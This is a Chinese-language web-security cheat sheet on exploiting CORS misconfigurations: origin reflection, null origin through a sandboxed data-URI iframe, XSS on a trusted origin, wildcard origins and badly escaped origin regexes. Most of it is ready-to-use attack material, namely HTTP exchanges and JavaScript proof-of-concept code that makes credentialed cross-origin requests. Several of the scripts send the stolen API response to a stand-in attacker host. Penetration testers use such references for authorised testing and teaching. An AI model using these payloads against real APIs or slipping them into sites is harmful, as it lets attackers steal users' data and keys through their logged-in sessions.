跳转至

CORS 配置错误 (CORS Misconfiguration)

针对某个 API 域存在全站范围的 CORS 配置错误。这允许攻击者代表用户发起跨源请求,因为应用程序没有对 Origin 标头进行白名单过滤,并且设置了 Access-Control-Allow-Credentials: true,这意味着我们可以从攻击者的网站利用受害者的凭据发起请求。

摘要 (Summary)

工具 (Tools)

要求 (Requirements)

  • 攻击者标头 (BURP HEADER)> Origin: https://evil.com
  • 受害者响应标头 (VICTIM HEADER)> Access-Control-Allow-Credential: true
  • 受害者响应标头 (VICTIM HEADER)> Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Origin: null

方法论 (Methodology)

通常您的目标是 API 端点。使用以下 Payload 利用目标 https://victim.example.com/endpoint 上的 CORS 配置错误。

源反射 (Origin Reflection)

有漏洞的实现

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[私有 API 密钥]"}

概念验证 (Proof Of Concept)

此 PoC 要求对应的 JS 脚本托管在 evil.com

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};

或者

<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">利用</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>

空源 (Null Origin)

有漏洞的实现

服务器可能不会反射完整的 Origin 标头,但允许 null 源。这在服务器的响应中如下所示:

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true 

{"[私有 API 密钥]"}

概念验证 (PoC)

可以通过使用 data URI 方案将攻击代码放入 iframe 来利用此漏洞。如果使用 data URI 方案,浏览器在请求中将使用 null 源:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://victim.example.com/endpoint',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe> 

受信任源上的 XSS (XSS on Trusted Origin)

如果应用程序确实实现了严格的允许源白名单,上述利用代码将不起作用。但如果您在受信任的源上发现了 XSS,则可以注入上述利用代码,从而再次利用 CORS。

https://trusted-origin.example.com/?xss=<script>CORS-利用-PAYLOAD</script>

无凭据的通配符源 (Wildcard Origin without Credentials)

如果服务器响应通配符源 *浏览器永远不会发送 Cookie。但是,如果服务器不需要身份验证,仍然可以访问服务器上的数据。这可能发生在无法从互联网访问的内部服务器上。攻击者的网站随后可以以此为跳板进入内部网络,并在无需身份验证的情况下访问服务器数据。

* 是唯一的通配符源
https://*.example.com 是无效的

有漏洞的实现

GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

{"[私有 API 密钥]"}

概念验证 (PoC)

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.internal.example.com/endpoint',true); 
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};

扩展源 (Expanding the Origin)

有时,原始源的某些扩展在服务器端没有被过滤。这可能是由于使用了实现不佳的正则表达式来验证 Origin 标头造成的。

有漏洞的实现(示例 1)

在这种情况下,服务器将接受 example.com 前面的任何前缀。

GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true 

{"[私有 API 密钥]"}

概念验证(示例 1)

此 PoC 要求对应的 JS 脚本托管在 evilexample.com

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};

有漏洞的实现(示例 2)

在这种情况下,服务器使用的正则表达式中点号(dot)没有被正确转义。例如:使用 ^api.example.com$ 而不是 ^api\.example.com$. 因此,点号可以被替换为任何字母,从而从第三方域获取访问权限。

GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true 

{"[私有 API 密钥]"}

概念验证(示例 2)

此 PoC 要求对应的 JS 脚本托管在 apiiexample.com

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};

实验环境 (Labs)

参考资料 (References)